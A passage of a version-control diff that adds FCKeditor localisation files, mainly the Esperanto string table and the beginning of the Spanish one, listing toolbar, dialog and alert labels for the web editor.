+DlgDocMaLeft		: "Left",
+DlgDocMaRight		: "Right",
+DlgDocMaBottom		: "Bottom",
+DlgDocMeIndex		: "Document Indexing Keywords (comma separated)",
+DlgDocMeDescr		: "Document Description",
+DlgDocMeAuthor		: "Author",
+DlgDocMeCopy		: "Copyright",
+DlgDocPreview		: "Preview",
+
+// Templates Dialog
+Templates			: "Templates",
+DlgTemplatesTitle	: "Content Templates",
+DlgTemplatesSelMsg	: "Please select the template to open in the editor<br>(the actual contents will be lost):",
+DlgTemplatesLoading	: "Loading templates list. Please wait...",
+DlgTemplatesNoTpl	: "(No templates defined)",
+DlgTemplatesReplace	: "Replace actual contents",
+
+// About Dialog
+DlgAboutAboutTab	: "About",
+DlgAboutBrowserInfoTab	: "Browser Info",
+DlgAboutLicenseTab	: "License",
+DlgAboutVersion		: "version",
+DlgAboutLicense		: "Licensed under the terms of the GNU Lesser General Public License",
+DlgAboutInfo		: "For further information go to"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/eo.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/eo.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/eo.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: eo.js
+ * 	Esperanto language file.
+ * 
+ * File Authors:
+ * 		Tim Morley (timsk@openoffice.org)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Kaŝi Ilobreton",
+ToolbarExpand		: "Vidigi Ilojn",
+
+// Toolbar Items and Context Menu
+Save				: "Sekurigi",
+NewPage				: "Nova Paĝo",
+Preview				: "Vidigi Aspekton",
+Cut					: "Eltondi",
+Copy				: "Kopii",
+Paste				: "Interglui",
+PasteText			: "Interglui kiel Tekston",
+PasteWord			: "Interglui el Word",
+Print				: "Presi",
+SelectAll			: "Elekti ĉion",
+RemoveFormat		: "Forigi Formaton",
+InsertLinkLbl		: "Ligilo",
+InsertLink			: "Enmeti/Ŝanĝi Ligilon",
+RemoveLink			: "Forigi Ligilon",
+Anchor				: "Enmeti/Ŝanĝi Ankron",
+InsertImageLbl		: "Bildo",
+InsertImage			: "Enmeti/Ŝanĝi Bildon",
+InsertFlashLbl		: "Flash",	//MISSING
+InsertFlash			: "Insert/Edit Flash",	//MISSING
+InsertTableLbl		: "Tabelo",
+InsertTable			: "Enmeti/Ŝanĝi Tabelon",
+InsertLineLbl		: "Horizonta Linio",
+InsertLine			: "Enmeti Horizonta Linio",
+InsertSpecialCharLbl: "Speciala Signo",
+InsertSpecialChar	: "Enmeti Specialan Signon",
+InsertSmileyLbl		: "Mienvinjeto",
+InsertSmiley		: "Enmeti Mienvinjeton",
+About				: "Pri FCKeditor",
+Bold				: "Grasa",
+Italic				: "Kursiva",
+Underline			: "Substreko",
+StrikeThrough		: "Trastreko",
+Subscript			: "Subskribo",
+Superscript			: "Superskribo",
+LeftJustify			: "Maldekstrigi",
+CenterJustify		: "Centrigi",
+RightJustify		: "Dekstrigi",
+BlockJustify		: "Ĝisrandigi Ambaŭflanke",
+DecreaseIndent		: "Malpligrandigi Krommarĝenon",
+IncreaseIndent		: "Pligrandigi Krommarĝenon",
+Undo				: "Malfari",
+Redo				: "Refari",
+NumberedListLbl		: "Numera Listo",
+NumberedList		: "Enmeti/Forigi Numeran Liston",
+BulletedListLbl		: "Bula Listo",
+BulletedList		: "Enmeti/Forigi Bulan Liston",
+ShowTableBorders	: "Vidigi Borderojn de Tabelo",
+ShowDetails			: "Vidigi Detalojn",
+Style				: "Stilo",
+FontFormat			: "Formato",
+Font				: "Tiparo",
+FontSize			: "Grando",
+TextColor			: "Teksta Koloro",
+BGColor				: "Fona Koloro",
+Source				: "Fonto",
+Find				: "Serĉi",
+Replace				: "Anstataŭigi",
+SpellCheck			: "Literumada Kontrolilo",
+UniversalKeyboard	: "Universala Klavaro",
+PageBreakLbl		: "Page Break",	//MISSING
+PageBreak			: "Insert Page Break",	//MISSING
+
+Form			: "Formularo",
+Checkbox		: "Markobutono",
+RadioButton		: "Radiobutono",
+TextField		: "Teksta kampo",
+Textarea		: "Teksta Areo",
+HiddenField		: "Kaŝita Kampo",
+Button			: "Butono",
+SelectionField	: "Elekta Kampo",
+ImageButton		: "Bildbutono",
+
+FitWindow		: "Maximize the editor size",	//MISSING
+
+// Context Menu
+EditLink			: "Modifier Ligilon",
+CellCM				: "Cell",	//MISSING
+RowCM				: "Row",	//MISSING
+ColumnCM			: "Column",	//MISSING
+InsertRow			: "Enmeti Linion",
+DeleteRows			: "Forigi Liniojn",
+InsertColumn		: "Enmeti Kolumnon",
+DeleteColumns		: "Forigi Kolumnojn",
+InsertCell			: "Enmeti Ĉelon",
+DeleteCells			: "Forigi Ĉelojn",
+MergeCells			: "Kunfandi Ĉelojn",
+SplitCell			: "Dividi Ĉelojn",
+TableDelete			: "Delete Table",	//MISSING
+CellProperties		: "Atributoj de Ĉelo",
+TableProperties		: "Atributoj de Tabelo",
+ImageProperties		: "Atributoj de Bildo",
+FlashProperties		: "Flash Properties",	//MISSING
+
+AnchorProp			: "Ankraj Atributoj",
+ButtonProp			: "Butonaj Atributoj",
+CheckboxProp		: "Markobutonaj Atributoj",
+HiddenFieldProp		: "Atributoj de Kaŝita Kampo",
+RadioButtonProp		: "Radiobutonaj Atributoj",
+ImageButtonProp		: "Bildbutonaj Atributoj",
+TextFieldProp		: "Atributoj de Teksta Kampo",
+SelectionFieldProp	: "Atributoj de Elekta Kampo",
+TextareaProp		: "Atributoj de Teksta Areo",
+FormProp			: "Formularaj Atributoj",
+
+FontFormats			: "Normala;Formatita;Adreso;Titolo 1;Titolo 2;Titolo 3;Titolo 4;Titolo 5;Titolo 6;Paragrafo (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "Traktado de XHTML. Bonvolu pacienci...",
+Done				: "Finita",
+PasteWordConfirm	: "La algluota teksto ŝajnas esti Word-devena. Ĉu vi volas purigi ĝin antaŭ ol interglui?",
+NotCompatiblePaste	: "Tiu ĉi komando bezonas almenaŭ Internet Explorer 5.5. Ĉu vi volas daŭrigi sen purigado?",
+UnknownToolbarItem	: "Ilobretero nekonata \"%1\"",
+UnknownCommand		: "Komandonomo nekonata \"%1\"",
+NotImplemented		: "Komando ne ankoraŭ realigita",
+UnknownToolbarSet	: "La ilobreto \"%1\" ne ekzistas",
+NoActiveX			: "Your browser's security settings could limit some features of the editor. You must enable the option \"Run ActiveX controls and plug-ins\". You may experience errors and notice missing features.",	//MISSING
+BrowseServerBlocked : "The resources browser could not be opened. Make sure that all popup blockers are disabled.",	//MISSING
+DialogBlocked		: "It was not possible to open the dialog window. Make sure all popup blockers are disabled.",	//MISSING
+
+// Dialogs
+DlgBtnOK			: "Akcepti",
+DlgBtnCancel		: "Rezigni",
+DlgBtnClose			: "Fermi",
+DlgBtnBrowseServer	: "Foliumi en la Servilo",
+DlgAdvancedTag		: "Speciala",
+DlgOpOther			: "<Alia>",
+DlgInfoTab			: "Info",	//MISSING
+DlgAlertUrl			: "Please insert the URL",	//MISSING
+
+// General Dialogs Labels
+DlgGenNotSet		: "<Defaŭlta>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Skribdirekto",
+DlgGenLangDirLtr	: "De maldekstro dekstren (LTR)",
+DlgGenLangDirRtl	: "De dekstro maldekstren (RTL)",
+DlgGenLangCode		: "Lingva Kodo",
+DlgGenAccessKey		: "Fulmoklavo",
+DlgGenName			: "Nomo",
+DlgGenTabIndex		: "Taba Ordo",
+DlgGenLongDescr		: "URL de Longa Priskribo",
+DlgGenClass			: "Klasoj de Stilfolioj",
+DlgGenTitle			: "Indika Titolo",
+DlgGenContType		: "Indika Enhavotipo",
+DlgGenLinkCharset	: "Signaro de la Ligita Rimedo",
+DlgGenStyle			: "Stilo",
+
+// Image Dialog
+DlgImgTitle			: "Atributoj de Bildo",
+DlgImgInfoTab		: "Informoj pri Bildo",
+DlgImgBtnUpload		: "Sendu al Servilo",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Alŝuti",
+DlgImgAlt			: "Anstataŭiga Teksto",
+DlgImgWidth			: "Larĝo",
+DlgImgHeight		: "Alto",
+DlgImgLockRatio		: "Konservi Proporcion",
+DlgBtnResetSize		: "Origina Grando",
+DlgImgBorder		: "Bordero",
+DlgImgHSpace		: "HSpaco",
+DlgImgVSpace		: "VSpaco",
+DlgImgAlign			: "Ĝisrandigo",
+DlgImgAlignLeft		: "Maldekstre",
+DlgImgAlignAbsBottom: "Abs Malsupre",
+DlgImgAlignAbsMiddle: "Abs Centre",
+DlgImgAlignBaseline	: "Je Malsupro de Teksto",
+DlgImgAlignBottom	: "Malsupre",
+DlgImgAlignMiddle	: "Centre",
+DlgImgAlignRight	: "Dekstre",
+DlgImgAlignTextTop	: "Je Supro de Teksto",
+DlgImgAlignTop		: "Supre",
+DlgImgPreview		: "Vidigi Aspekton",
+DlgImgAlertUrl		: "Bonvolu tajpi la URL de la bildo",
+DlgImgLinkTab		: "Link",	//MISSING
+
+// Flash Dialog
+DlgFlashTitle		: "Flash Properties",	//MISSING
+DlgFlashChkPlay		: "Auto Play",	//MISSING
+DlgFlashChkLoop		: "Loop",	//MISSING
+DlgFlashChkMenu		: "Enable Flash Menu",	//MISSING
+DlgFlashScale		: "Scale",	//MISSING
+DlgFlashScaleAll	: "Show all",	//MISSING
+DlgFlashScaleNoBorder	: "No Border",	//MISSING
+DlgFlashScaleFit	: "Exact Fit",	//MISSING
+
+// Link Dialog
+DlgLnkWindowTitle	: "Ligilo",
+DlgLnkInfoTab		: "Informoj pri la Ligilo",
+DlgLnkTargetTab		: "Celo",
+
+DlgLnkType			: "Tipo de Ligilo",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Ankri en tiu ĉi paĝo",
+DlgLnkTypeEMail		: "Retpoŝto",
+DlgLnkProto			: "Protokolo",
+DlgLnkProtoOther	: "<alia>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Elekti Ankron",
+DlgLnkAnchorByName	: "Per Ankronomo",
+DlgLnkAnchorById	: "Per Elementidentigilo",
+DlgLnkNoAnchors		: "<Ne disponeblas ankroj en la dokumento>",
+DlgLnkEMail			: "Retadreso",
+DlgLnkEMailSubject	: "Temlinio",
+DlgLnkEMailBody		: "Mesaĝa korpo",
+DlgLnkUpload		: "Alŝuti",
+DlgLnkBtnUpload		: "Sendi al Servilo",
+
+DlgLnkTarget		: "Celo",
+DlgLnkTargetFrame	: "<kadro>",
+DlgLnkTargetPopup	: "<ŝprucfenestro>",
+DlgLnkTargetBlank	: "Nova Fenestro (_blank)",
+DlgLnkTargetParent	: "Gepatra Fenestro (_parent)",
+DlgLnkTargetSelf	: "Sama Fenestro (_self)",
+DlgLnkTargetTop		: "Plej Supra Fenestro (_top)",
+DlgLnkTargetFrameName	: "Nomo de Kadro",
+DlgLnkPopWinName	: "Nomo de Ŝprucfenestro",
+DlgLnkPopWinFeat	: "Atributoj de la Ŝprucfenestro",
+DlgLnkPopResize		: "Grando Ŝanĝebla",
+DlgLnkPopLocation	: "Adresobreto",
+DlgLnkPopMenu		: "Menubreto",
+DlgLnkPopScroll		: "Rulumlisteloj",
+DlgLnkPopStatus		: "Statobreto",
+DlgLnkPopToolbar	: "Ilobreto",
+DlgLnkPopFullScrn	: "Tutekrane (IE)",
+DlgLnkPopDependent	: "Dependa (Netscape)",
+DlgLnkPopWidth		: "Larĝo",
+DlgLnkPopHeight		: "Alto",
+DlgLnkPopLeft		: "Pozicio de Maldekstro",
+DlgLnkPopTop		: "Pozicio de Supro",
+
+DlnLnkMsgNoUrl		: "Bonvolu entajpi la URL-on",
+DlnLnkMsgNoEMail	: "Bonvolu entajpi la retadreson",
+DlnLnkMsgNoAnchor	: "Bonvolu elekti ankron",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Elekti",
+DlgColorBtnClear	: "Forigi",
+DlgColorHighlight	: "Emfazi",
+DlgColorSelected	: "Elektita",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Enmeti Mienvinjeton",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Enmeti Specialan Signon",
+
+// Table Dialog
+DlgTableTitle		: "Atributoj de Tabelo",
+DlgTableRows		: "Linioj",
+DlgTableColumns		: "Kolumnoj",
+DlgTableBorder		: "Bordero",
+DlgTableAlign		: "Ĝisrandigo",
+DlgTableAlignNotSet	: "<Defaŭlte>",
+DlgTableAlignLeft	: "Maldekstre",
+DlgTableAlignCenter	: "Centre",
+DlgTableAlignRight	: "Dekstre",
+DlgTableWidth		: "Larĝo",
+DlgTableWidthPx		: "Bitbilderoj",
+DlgTableWidthPc		: "elcentoj",
+DlgTableHeight		: "Alto",
+DlgTableCellSpace	: "Interspacigo de Ĉeloj",
+DlgTableCellPad		: "Ĉirkaŭenhava Plenigado",
+DlgTableCaption		: "Titolo",
+DlgTableSummary		: "Summary",	//MISSING
+
+// Table Cell Dialog
+DlgCellTitle		: "Atributoj de Celo",
+DlgCellWidth		: "Larĝo",
+DlgCellWidthPx		: "bitbilderoj",
+DlgCellWidthPc		: "elcentoj",
+DlgCellHeight		: "Alto",
+DlgCellWordWrap		: "Linifaldo",
+DlgCellWordWrapNotSet	: "<Defaŭlte>",
+DlgCellWordWrapYes	: "Jes",
+DlgCellWordWrapNo	: "Ne",
+DlgCellHorAlign		: "Horizonta Ĝisrandigo",
+DlgCellHorAlignNotSet	: "<Defaŭlte>",
+DlgCellHorAlignLeft	: "Maldekstre",
+DlgCellHorAlignCenter	: "Centre",
+DlgCellHorAlignRight: "Dekstre",
+DlgCellVerAlign		: "Vertikala Ĝisrandigo",
+DlgCellVerAlignNotSet	: "<Defaŭlte>",
+DlgCellVerAlignTop	: "Supre",
+DlgCellVerAlignMiddle	: "Centre",
+DlgCellVerAlignBottom	: "Malsupre",
+DlgCellVerAlignBaseline	: "Je Malsupro de Teksto",
+DlgCellRowSpan		: "Linioj Kunfanditaj",
+DlgCellCollSpan		: "Kolumnoj Kunfanditaj",
+DlgCellBackColor	: "Fono",
+DlgCellBorderColor	: "Bordero",
+DlgCellBtnSelect	: "Elekti...",
+
+// Find Dialog
+DlgFindTitle		: "Serĉi",
+DlgFindFindBtn		: "Serĉi",
+DlgFindNotFoundMsg	: "La celteksto ne estas trovita.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Anstataŭigi",
+DlgReplaceFindLbl		: "Serĉi:",
+DlgReplaceReplaceLbl	: "Anstataŭigi per:",
+DlgReplaceCaseChk		: "Kongruigi Usklecon",
+DlgReplaceReplaceBtn	: "Anstataŭigi",
+DlgReplaceReplAllBtn	: "Anstataŭigi Ĉiun",
+DlgReplaceWordChk		: "Tuta Vorto",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "La sekurecagordo de via TTT-legilo ne permesas, ke la redaktilo faras intergluajn operaciojn. Bonvolu uzi la klavaron por tio (ctrl-V).",
+PasteErrorCut	: "La sekurecagordo de via TTT-legilo ne permesas, ke la redaktilo faras eltondajn operaciojn. Bonvolu uzi la klavaron por tio (ctrl-X).",
+PasteErrorCopy	: "La sekurecagordo de via TTT-legilo ne permesas, ke la redaktilo faras kopiajn operaciojn. Bonvolu uzi la klavaron por tio (ctrl-C).",
+
+PasteAsText		: "Interglui kiel Tekston",
+PasteFromWord	: "Interglui el Word",
+
+DlgPasteMsg2	: "Please paste inside the following box using the keyboard (<STRONG>Ctrl+V</STRONG>) and hit <STRONG>OK</STRONG>.",	//MISSING
+DlgPasteIgnoreFont		: "Ignore Font Face definitions",	//MISSING
+DlgPasteRemoveStyles	: "Remove Styles definitions",	//MISSING
+DlgPasteCleanBox		: "Clean Up Box",	//MISSING
+
+// Color Picker
+ColorAutomatic	: "Aŭtomata",
+ColorMoreColors	: "Pli da Koloroj...",
+
+// Document Properties
+DocProps		: "Dokumentaj Atributoj",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Ankraj Atributoj",
+DlgAnchorName		: "Ankra Nomo",
+DlgAnchorErrorName	: "Bv tajpi la ankran nomon",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Ne trovita en la vortaro",
+DlgSpellChangeTo		: "Ŝanĝi al",
+DlgSpellBtnIgnore		: "Malatenti",
+DlgSpellBtnIgnoreAll	: "Malatenti Ĉiun",
+DlgSpellBtnReplace		: "Anstataŭigi",
+DlgSpellBtnReplaceAll	: "Anstataŭigi Ĉiun",
+DlgSpellBtnUndo			: "Malfari",
+DlgSpellNoSuggestions	: "- Neniu propono -",
+DlgSpellProgress		: "Literumkontrolado daŭras...",
+DlgSpellNoMispell		: "Literumkontrolado finita: neniu fuŝo trovita",
+DlgSpellNoChanges		: "Literumkontrolado finita: neniu vorto ŝanĝita",
+DlgSpellOneChange		: "Literumkontrolado finita: unu vorto ŝanĝita",
+DlgSpellManyChanges		: "Literumkontrolado finita: %1 vortoj ŝanĝitaj",
+
+IeSpellDownload			: "Literumada Kontrolilo ne instalita. Ĉu vi volas elŝuti ĝin nun?",
+
+// Button Dialog
+DlgButtonText		: "Teksto (Valoro)",
+DlgButtonType		: "Tipo",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Nomo",
+DlgCheckboxValue	: "Valoro",
+DlgCheckboxSelected	: "Elektita",
+
+// Form Dialog
+DlgFormName		: "Nomo",
+DlgFormAction	: "Ago",
+DlgFormMethod	: "Metodo",
+
+// Select Field Dialog
+DlgSelectName		: "Nomo",
+DlgSelectValue		: "Valoro",
+DlgSelectSize		: "Grando",
+DlgSelectLines		: "Linioj",
+DlgSelectChkMulti	: "Permesi Plurajn Elektojn",
+DlgSelectOpAvail	: "Elektoj Disponeblaj",
+DlgSelectOpText		: "Teksto",
+DlgSelectOpValue	: "Valoro",
+DlgSelectBtnAdd		: "Aldoni",
+DlgSelectBtnModify	: "Modifi",
+DlgSelectBtnUp		: "Supren",
+DlgSelectBtnDown	: "Malsupren",
+DlgSelectBtnSetValue : "Agordi kiel Elektitan Valoron",
+DlgSelectBtnDelete	: "Forigi",
+
+// Textarea Dialog
+DlgTextareaName	: "Nomo",
+DlgTextareaCols	: "Kolumnoj",
+DlgTextareaRows	: "Vicoj",
+
+// Text Field Dialog
+DlgTextName			: "Nomo",
+DlgTextValue		: "Valoro",
+DlgTextCharWidth	: "Signolarĝo",
+DlgTextMaxChars		: "Maksimuma Nombro da Signoj",
+DlgTextType			: "Tipo",
+DlgTextTypeText		: "Teksto",
+DlgTextTypePass		: "Pasvorto",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Nomo",
+DlgHiddenValue	: "Valoro",
+
+// Bulleted List Dialog
+BulletedListProp	: "Atributoj de Bula Listo",
+NumberedListProp	: "Atributoj de Numera Listo",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Tipo",
+DlgLstTypeCircle	: "Cirklo",
+DlgLstTypeDisc		: "Disc",	//MISSING
+DlgLstTypeSquare	: "Kvadrato",
+DlgLstTypeNumbers	: "Ciferoj (1, 2, 3)",
+DlgLstTypeLCase		: "Minusklaj Literoj (a, b, c)",
+DlgLstTypeUCase		: "Majusklaj Literoj (A, B, C)",
+DlgLstTypeSRoman	: "Malgrandaj Romanaj Ciferoj (i, ii, iii)",
+DlgLstTypeLRoman	: "Grandaj Romanaj Ciferoj (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Ĝeneralaĵoj",
+DlgDocBackTab		: "Fono",
+DlgDocColorsTab		: "Koloroj kaj Marĝenoj",
+DlgDocMetaTab		: "Metadatumoj",
+
+DlgDocPageTitle		: "Paĝotitolo",
+DlgDocLangDir		: "Skribdirekto de la Lingvo",
+DlgDocLangDirLTR	: "De maldekstro dekstren (LTR)",
+DlgDocLangDirRTL	: "De dekstro maldekstren (LTR)",
+DlgDocLangCode		: "Lingvokodo",
+DlgDocCharSet		: "Signara Kodo",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Alia Signara Kodo",
+
+DlgDocDocType		: "Dokumenta Tipo",
+DlgDocDocTypeOther	: "Alia Dokumenta Tipo",
+DlgDocIncXHTML		: "Inkluzivi XHTML Deklaroj",
+DlgDocBgColor		: "Fona Koloro",
+DlgDocBgImage		: "URL de Fona Bildo",
+DlgDocBgNoScroll	: "Neruluma Fono",
+DlgDocCText			: "Teksto",
+DlgDocCLink			: "Ligilo",
+DlgDocCVisited		: "Vizitita Ligilo",
+DlgDocCActive		: "Aktiva Ligilo",
+DlgDocMargins		: "Paĝaj Marĝenoj",
+DlgDocMaTop			: "Supra",
+DlgDocMaLeft		: "Maldekstra",
+DlgDocMaRight		: "Dekstra",
+DlgDocMaBottom		: "Malsupra",
+DlgDocMeIndex		: "Ŝlosilvortoj de la Dokumento (apartigita de komoj)",
+DlgDocMeDescr		: "Dokumenta Priskribo",
+DlgDocMeAuthor		: "Verkinto",
+DlgDocMeCopy		: "Kopirajto",
+DlgDocPreview		: "Aspekto",
+
+// Templates Dialog
+Templates			: "Templates",	//MISSING
+DlgTemplatesTitle	: "Content Templates",	//MISSING
+DlgTemplatesSelMsg	: "Please select the template to open in the editor<br>(the actual contents will be lost):",	//MISSING
+DlgTemplatesLoading	: "Loading templates list. Please wait...",	//MISSING
+DlgTemplatesNoTpl	: "(No templates defined)",	//MISSING
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Pri",
+DlgAboutBrowserInfoTab	: "Informoj pri TTT-legilo",
+DlgAboutLicenseTab	: "License",	//MISSING
+DlgAboutVersion		: "versio",
+DlgAboutLicense		: "Disdonata laŭ la GNU Lesser General Public License",
+DlgAboutInfo		: "Por pli da informoj, vizitu"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/es.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/es.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/es.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: es.js
+ * 	Spanish language file.
+ * 
+ * File Authors:
+ * 		Gabriel Schillaci (internetbug@users.sourceforge.net)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Contraer Barra",
+ToolbarExpand		: "Expandir Barra",
+
+// Toolbar Items and Context Menu
+Save				: "Guardar",
+NewPage				: "Nueva Página",
+Preview				: "Vista Previa",
+Cut					: "Cortar",
+Copy				: "Copiar",
+Paste				: "Pegar",
+PasteText			: "Pegar como texto plano",
+PasteWord			: "Pegar desde Word",
+Print				: "Imprimir",
+SelectAll			: "Seleccionar Todo",
+RemoveFormat		: "Eliminar Formato",
+InsertLinkLbl		: "Vínculo",
+InsertLink			: "Insertar/Editar Vínculo",
+RemoveLink			: "Eliminar Vínculo",
+Anchor				: "Referencia",
+InsertImageLbl		: "Imagen",
+InsertImage			: "Insertar/Editar Imagen",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Insertar/Editar Flash",
+InsertTableLbl		: "Tabla",
+InsertTable			: "Insertar/Editar Tabla",
+InsertLineLbl		: "Línea",
+InsertLine			: "Insertar Línea Horizontal",
+InsertSpecialCharLbl: "Caracter Especial",
+InsertSpecialChar	: "Insertar Caracter Especial",
+InsertSmileyLbl		: "Emoticons",
+InsertSmiley		: "Insertar Emoticons",
+About				: "Acerca de FCKeditor",
+Bold				: "Negrita",
+Italic				: "Cursiva",
+Underline			: "Subrayado",
+StrikeThrough		: "Tachado",
+Subscript			: "Subíndice",
+Superscript			: "Superíndice",
+LeftJustify			: "Alinear a Izquierda",
+CenterJustify		: "Centrar",
+RightJustify		: "Alinear a Derecha",
+BlockJustify		: "Justificado",
+DecreaseIndent		: "Disminuir Sangría",
+IncreaseIndent		: "Aumentar Sangría",
+Undo				: "Deshacer",
+Redo				: "Rehacer",
+NumberedListLbl		: "Numeración",
+NumberedList		: "Insertar/Eliminar Numeración",
+BulletedListLbl		: "Viñetas",
+BulletedList		: "Insertar/Eliminar Viñetas",
+ShowTableBorders	: "Mostrar Bordes de Tablas",
+ShowDetails			: "Mostrar saltos de Párrafo",
+Style				: "Estilo",
+FontFormat			: "Formato",
+Font				: "Fuente",
+FontSize			: "Tamaño",
+TextColor			: "Color de Texto",
+BGColor				: "Color de Fondo",
+Source				: "Fuente HTML",
+Find				: "Buscar",
+Replace				: "Reemplazar",
+SpellCheck			: "Ortografía",
+UniversalKeyboard	: "Teclado Universal",
+PageBreakLbl		: "Salto de Página",
+PageBreak			: "Insertar Salto de Página",
+
+Form			: "Formulario",
+Checkbox		: "Casilla de Verificación",
+RadioButton		: "Botones de Radio",
+TextField		: "Campo de Texto",
+Textarea		: "Area de Texto",
+HiddenField		: "Campo Oculto",
+Button			: "Botón",
+SelectionField	: "Campo de Selección",
+ImageButton		: "Botón Imagen",
+
+FitWindow		: "Maximizar el tamaño del editor",
+
+// Context Menu
+EditLink			: "Editar Vínculo",
+CellCM				: "Celda",
+RowCM				: "Fila",
+ColumnCM			: "Columna",
+InsertRow			: "Insertar Fila",
+DeleteRows			: "Eliminar Filas",
+InsertColumn		: "Insertar Columna",
+DeleteColumns		: "Eliminar Columnas",
+InsertCell			: "Insertar Celda",
+DeleteCells			: "Eliminar Celdas",
+MergeCells			: "Combinar Celdas",
+SplitCell			: "Dividir Celda",
+TableDelete			: "Eliminar Tabla",
+CellProperties		: "Propiedades de Celda",
+TableProperties		: "Propiedades de Tabla",
+ImageProperties		: "Propiedades de Imagen",
+FlashProperties		: "Propiedades de Flash",
+
+AnchorProp			: "Propiedades de Referencia",
+ButtonProp			: "Propiedades de Botón",
+CheckboxProp		: "Propiedades de Casilla",
+HiddenFieldProp		: "Propiedades de Campo Oculto",
+RadioButtonProp		: "Propiedades de Botón de Radio",
+ImageButtonProp		: "Propiedades de Botón de Imagen",
+TextFieldProp		: "Propiedades de Campo de Texto",
+SelectionFieldProp	: "Propiedades de Campo de Selección",
+TextareaProp		: "Propiedades de Area de Texto",
+FormProp			: "Propiedades de Formulario",
+
+FontFormats			: "Normal;Con formato;Dirección;Encabezado 1;Encabezado 2;Encabezado 3;Encabezado 4;Encabezado 5;Encabezado 6;Normal (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "Procesando XHTML. Por favor, espere...",
+Done				: "Hecho",
+PasteWordConfirm	: "El texto que desea parece provenir de Word. Desea depurarlo antes de pegarlo?",
+NotCompatiblePaste	: "Este comando está disponible sólo para Internet Explorer version 5.5 or superior. Desea pegar sin depurar?",
+UnknownToolbarItem	: "Item de barra desconocido \"%1\"",
+UnknownCommand		: "Nombre de comando desconocido \"%1\"",
+NotImplemented		: "Comando no implementado",
+UnknownToolbarSet	: "Nombre de barra \"%1\" no definido",
+NoActiveX			: "La configuración de las opciones de seguridad de su navegador puede estar limitando algunas características del editor. Por favor active la opción \"Ejecutar controles y complementos de ActiveX \", de lo contrario puede experimentar errores o ausencia de funcionalidades.",
+BrowseServerBlocked : "La ventana de visualización del servidor no pudo ser abierta. Verifique que su navegador no esté bloqueando las ventanas emergentes (pop up).",
+DialogBlocked		: "No se ha podido abrir la ventana de diálogo. Verifique que su navegador no esté bloqueando las ventanas emergentes (pop up).",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Cancelar",
+DlgBtnClose			: "Cerrar",
+DlgBtnBrowseServer	: "Ver Servidor",
+DlgAdvancedTag		: "Avanzado",
+DlgOpOther			: "<Otro>",
+DlgInfoTab			: "Información",
+DlgAlertUrl			: "Inserte el URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<No definido>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Orientación de idioma",
+DlgGenLangDirLtr	: "Izquierda a Derecha (LTR)",
+DlgGenLangDirRtl	: "Derecha a Izquierda (RTL)",
+DlgGenLangCode		: "Código de idioma",
+DlgGenAccessKey		: "Clave de Acceso",
+DlgGenName			: "Nombre",
+DlgGenTabIndex		: "Indice de tabulación",
+DlgGenLongDescr		: "Descripción larga URL",
+DlgGenClass			: "Clases de hojas de estilo",
+DlgGenTitle			: "Título",
+DlgGenContType		: "Tipo de Contenido",
